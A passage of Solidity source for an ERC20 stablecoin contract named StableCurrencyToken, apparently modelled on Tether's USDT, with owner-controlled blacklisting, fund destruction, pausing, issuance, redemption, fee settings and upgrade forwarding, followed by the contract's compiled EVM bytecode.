with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract BlackList is Ownable, BasicToken { /////// Getters to allow the same blacklist to be used also by other contracts (including upgraded Tether) /////// function getBlackListStatus(address _maker) external constant returns (bool) { return isBlackListed[_maker]; } function getOwner() external constant returns (address) { return owner; } mapping (address => bool) public isBlackListed; function addBlackList (address _evilUser) public onlyOwner { isBlackListed[_evilUser] = true; emit AddedBlackList(_evilUser); } function removeBlackList (address _clearedUser) public onlyOwner { isBlackListed[_clearedUser] = false; emit RemovedBlackList(_clearedUser); } function destroyBlackFunds (address _blackListedUser) public onlyOwner { require(isBlackListed[_blackListedUser]); uint dirtyFunds = balanceOf(_blackListedUser); balances[_blackListedUser] = 0; _totalSupply -= dirtyFunds; emit DestroyedBlackFunds(_blackListedUser, dirtyFunds); } event DestroyedBlackFunds(address _blackListedUser, uint _balance); event AddedBlackList(address _user); event RemovedBlackList(address _user); } contract UpgradedStandardToken is StandardToken{ // those methods are called by the legacy contract // and they must ensure msg.sender to be the contract address function transferByLegacy(address from, address to, uint value) public returns (bool); function transferFromByLegacy(address sender, address from, address spender, uint value) public returns (bool); function approveByLegacy(address from, address spender, uint value) public returns (bool); } contract StableCurrencyToken is Pausable, StandardToken, BlackList { string public name; string public symbol; uint public decimals; address public upgradedAddress; bool public deprecated; // The contract can be initialized with a number of tokens // All the tokens are deposited to the owner address // // @param _balance Initial supply of the contract // @param _name Token Name // @param _symbol Token symbol // @param _decimals Token decimals function StableCurrencyToken(uint _initialSupply, string _name, string _symbol, uint _decimals) public { _totalSupply = _initialSupply; name = _name; symbol = _symbol; decimals = _decimals; balances[owner] = _initialSupply; deprecated = false; } function changeName(string _name, string _symbol) onlyOwner public { name = _name; symbol = _symbol; } // Forward ERC20 methods to upgraded contract if this one is deprecated function transfer(address _to, uint _value) public whenNotPaused returns (bool) { require(!isBlackListed[msg.sender]); if (deprecated) { return UpgradedStandardToken(upgradedAddress).transferByLegacy(msg.sender, _to, _value); } else { return super.transfer(_to, _value); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function transferFrom(address _from, address _to, uint _value) public whenNotPaused returns (bool) { require(!isBlackListed[_from]); if (deprecated) { return UpgradedStandardToken(upgradedAddress).transferFromByLegacy(msg.sender, _from, _to, _value); } else { return super.transferFrom(_from, _to, _value); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function balanceOf(address who) public constant returns (uint) { if (deprecated) { return UpgradedStandardToken(upgradedAddress).balanceOf(who); } else { return super.balanceOf(who); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function approve(address _spender, uint _value) public returns (bool) { if (deprecated) { return UpgradedStandardToken(upgradedAddress).approveByLegacy(msg.sender, _spender, _value); } else { return super.approve(_spender, _value); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function allowance(address _owner, address _spender) public constant returns (uint remaining) { if (deprecated) { return StandardToken(upgradedAddress).allowance(_owner, _spender); } else { return super.allowance(_owner, _spender); } } // deprecate current contract in favour of a new one function deprecate(address _upgradedAddress) public onlyOwner { deprecated = true; upgradedAddress = _upgradedAddress; emit Deprecate(_upgradedAddress); } // deprecate current contract if favour of a new one function totalSupply() public constant returns (uint) { if (deprecated) { return StandardToken(upgradedAddress).totalSupply(); } else { return _totalSupply; } } // Issue a new amount of tokens // these tokens are deposited into the owner address // // @param _amount Number of tokens to be issued function issue(uint amount) public onlyOwner { require(_totalSupply + amount > _totalSupply); require(balances[owner] + amount > balances[owner]); balances[owner] += amount; _totalSupply += amount; emit Issue(amount); } // Redeem tokens. // These tokens are withdrawn from the owner address // if the balance must be enough to cover the redeem // or the call will fail. // @param _amount Number of tokens to be issued function redeem(uint amount) public onlyOwner { require(_totalSupply >= amount); require(balances[owner] >= amount); _totalSupply -= amount; balances[owner] -= amount; emit Redeem(amount); } function setParams(uint newBasisPoints, uint newMaxFee) public onlyOwner { // Ensure transparency by hardcoding limit beyond which fees can never be added require(newBasisPoints <= 20); require(newMaxFee <= 50); basisPointsRate = newBasisPoints; maximumFee = newMaxFee.mul(10**decimals); emit Params(basisPointsRate, maximumFee); } // Called when new token are issued event Issue(uint amount); // Called when tokens are redeemed event Redeem(uint amount); // Called when contract is deprecated event Deprecate(address newAddress); // Called if contract ever adds fees event Params(uint feeBasisPoints, uint maxFee); }
0x6060604052600436106101a1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146101a65780630753c30c14610234578063095ea7b31461026d5780630e136b19146102c75780630ecb93c0146102f457806318160ddd1461032d57806323b872dd1461035657806326976e3f146103cf57806327e235e314610424578063313ce56714610471578063353907141461049a5780633f4ba83a146104c357806359bf1abe146104d85780635c658165146105295780635c975abb1461059557806366188463146105c257806370a082311461061c5780638456cb591461066957806386575e401461067e578063893d20e81461071e5780638da5cb5b1461077357806395d89b41146107c8578063a9059cbb14610856578063c0324c77146108b0578063cc872b66146108dc578063d73dd623146108ff578063db006a7514610959578063dd62ed3e1461097c578063dd644f72146109e8578063e47d606014610a11578063e4997dc514610a62578063f2fde38b14610a9b578063f3bdc22814610ad4575b600080fd5b34156101b157600080fd5b6101b9610b0d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101f95780820151818401526020810190506101de565b50505050905090810190601f1680156102265780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561023f57600080fd5b61026b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610bab565b005b341561027857600080fd5b6102ad600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610cc8565b604051808215151515815260200191505060405180910390f35b34156102d257600080fd5b6102da610e08565b604051808215151515815260200191505060405180910390f35b34156102ff57600080fd5b61032b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610e1b565b005b341561033857600080fd5b610340610f34565b6040518082815260200191505060405180910390f35b341561036157600080fd5b6103b5600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ff7565b604051808215151515815260200191505060405180910390f35b34156103da57600080fd5b6103e26111e1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561042f57600080fd5b61045b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611207565b6040518082815260200191505060405180910390f35b341561047c57600080fd5b61048461121f565b6040518082815260200191505060405180910390f35b34156104a557600080fd5b6104ad611225565b6040518082815260200191505060405180910390f35b34156104ce57600080fd5b6104d661122b565b005b34156104e357600080fd5b61050f600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506112e9565b604051808215151515815260200191505060405180910390f35b341561053457600080fd5b61057f600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061133f565b6040518082815260200191505060405180910390f35b34156105a057600080fd5b6105a8611364565b604051808215151515815260200191505060405180910390f35b34156105cd57600080fd5b610602600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611377565b604051808215151515815260200191505060405180910390f35b341561062757600080fd5b610653600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611608565b6040518082815260200191505060405180910390f35b341561067457600080fd5b61067c61170a565b005b341561068957600080fd5b61071c600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506117ca565b005b341561072957600080fd5b610731611857565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561077e57600080fd5b610786611880565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156107d357600080fd5b6107db6118a5565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561081b578082015181840152602081019050610800565b50505050905090810190601f1680156108485780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561086157600080fd5b610896600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611943565b604051808215151515815260200191505060405180910390f35b34156108bb57600080fd5b6108da6004808035906020019091908035906020019091905050611af7565b005b34156108e757600080fd5b6108fd6004808035906020019091905050611bde565b005b341561090a57600080fd5b61093f600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611dd5565b604051808215151515815260200191505060405180910390f35b341561096457600080fd5b61097a6004808035906020019091905050611fd1565b005b341561098757600080fd5b6109d2600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612164565b6040518082815260200191505060405180910390f35b34156109f357600080fd5b6109fb61229c565b6040518082815260200191505060405180910390f35b3415610a1c57600080fd5b610a48600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506122a2565b604051808215151515815260200191505060405180910390f35b3415610a6d57600080fd5b610a99600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506122c2565b005b3415610aa657600080fd5b610ad2600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506123db565b005b3415610adf57600080fd5b610b0b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612530565b005b60078054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ba35780601f10610b7857610100808354040283529160200191610ba3565b820191906000526020600020905b815481529060010190602001808311610b8657829003601f168201915b505050505081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c0657600080fd5b6001600a60146101000a81548160ff02191690831515021790555080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fcc358699805e9a8b7f77b522628c7cb9abd07d9efb86b6fb616af1609036a99e81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b6000600a60149054906101000a900460ff1615610df557600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663aee92d333385856040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1515610dd757600080fd5b5af11515610de457600080fd5b505050604051805190509050610e02565b610dff83836126b4565b90505b92915050565b600a60149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e7657600080fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f42e160154868087d6bfdc0ca23d96a1c1cfa32f1b72ba9ba27b69b98a0d819dc81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b6000600a60149054906101000a900460ff1615610fee57600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1515610fd057600080fd5b5af11515610fdd57600080fd5b505050604051805190509050610ff4565b60025490505b90565b60008060149054906101000a900460ff1615151561101457600080fd5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561106d57600080fd5b600a60149054906101000a900460ff16156111cc57600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638b477adb338686866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001945050505050602060405180830381600087803b15156111ae57600080fd5b5af115156111bb57600080fd5b5050506040518051905090506111da565b6111d78484846127a6565b90505b9392505050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60016020528060005260406000206000915090505481565b60095481565b60045481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561128657600080fd5b600060149054906101000a900460ff1615156112a157600080fd5b60008060146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6005602052816000526040600020602052806000526040600020600091509150505481565b600060149054906101000a900460ff1681565b600080600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611488576000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061151c565b61149b8382612d2390919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600a60149054906101000a900460ff16156116f957600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15156116db57600080fd5b5af115156116e857600080fd5b505050604051805190509050611705565b61170282612d3c565b90505b919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561176557600080fd5b600060149054906101000a900460ff1615151561178157600080fd5b6001600060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561182557600080fd5b816007908051906020019061183b929190613260565b508060089080519060200190611852929190613260565b505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60088054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561193b5780601f106119105761010080835404028352916020019161193b565b820191906000526020600020905b81548152906001019060200180831161191e57829003601f168201915b505050505081565b60008060149054906101000a900460ff1615151561196057600080fd5b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156119b957600080fd5b600a60149054906101000a900460ff1615611ae457600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636e18980a3385856040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1515611ac657600080fd5b5af11515611ad357600080fd5b505050604051805190509050611af1565b611aee8383612d85565b90505b92915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b5257600080fd5b60148211151515611b6257600080fd5b60328111151515611b7257600080fd5b81600381905550611b91600954600a0a8261316590919063ffffffff16565b6004819055507fb044a1e409eac5c48e5af22d4af52670dd1a99059537a78b31b48c6500a6354e600354600454604051808381526020018281526020019250505060405180910390a15050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c3957600080fd5b6002548160025401111515611c4d57600080fd5b600160008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481600160008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401111515611d1d57600080fd5b80600160008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550806002600082825401925050819055507fcb8241adb0c3fdb35b70c24ce35c5eb0c17af7431c99f827d44a445ca624176a816040518082815260200191505060405180910390a150565b6000611e6682600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131a090919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561202c57600080fd5b806002541015151561203d57600080fd5b80600160008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156120ac57600080fd5b8060026000828254039250508190555080600160008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055507f702d5967f45f6513a38ffc42d6ba9bf230bd40e8f53b16363c7eb4fd2deb9a44816040518082815260200191505060405180910390a150565b6000600a60149054906101000a900460ff161561228957600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e84846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b151561226b57600080fd5b5af1151561227857600080fd5b505050604051805190509050612296565b61229383836131be565b90505b92915050565b60035481565b60066020528060005260406000206000915054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561231d57600080fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507fd7e9ec6e6ecd65492dce6bf513cd6867560d49544421d0783ddf06e76c24470c81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561243657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561247257600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561258d57600080fd5b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156125e557600080fd5b6125ee82611608565b90506000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550806002600082825403925050819055507f61e6e66b0d6339b2980aecc6ccc0039736791f0ccde9ed512e789a7fbdd698c68282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15050565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600080600080600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141515156127e857600080fd5b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054851115151561283657600080fd5b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205485111515156128c157600080fd5b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054925061296961271061295b6003548861316590919063ffffffff16565b61324590919063ffffffff16565b915060045482111561297b5760045491505b61298e8584612d2390919063ffffffff16565b600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a218286612d2390919063ffffffff16565b9050612a7585600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d2390919063ffffffff16565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612b0a81600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131a090919063ffffffff16565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000821115612cb457612bc982600160008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131a090919063ffffffff16565b600160008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35b8573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050509392505050565b6000828211151515612d3157fe5b818303905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060008073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614151515612dc557600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548411151515612e1357600080fd5b612e3c612710612e2e6003548761316590919063ffffffff16565b61324590919063ffffffff16565b9150600454821115612e4e5760045491505b612e618285612d2390919063ffffffff16565b9050612eb584600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d2390919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f4a81600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131a090919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008211156130f45761300982600160008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131a090919063ffffffff16565b600160008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35b8473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a360019250505092915050565b600080600084141561317a5760009150613199565b828402905082848281151561318b57fe5b0414151561319557fe5b8091505b5092915050565b60008082840190508381101515156131b457fe5b8091505092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600080828481151561325357fe5b0490508091505092915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106132a157805160ff19168380011785556132cf565b828001600101855582156132cf579182015b828111156132ce5782518255916020019190600101906132b3565b5b5090506132dc91906132e0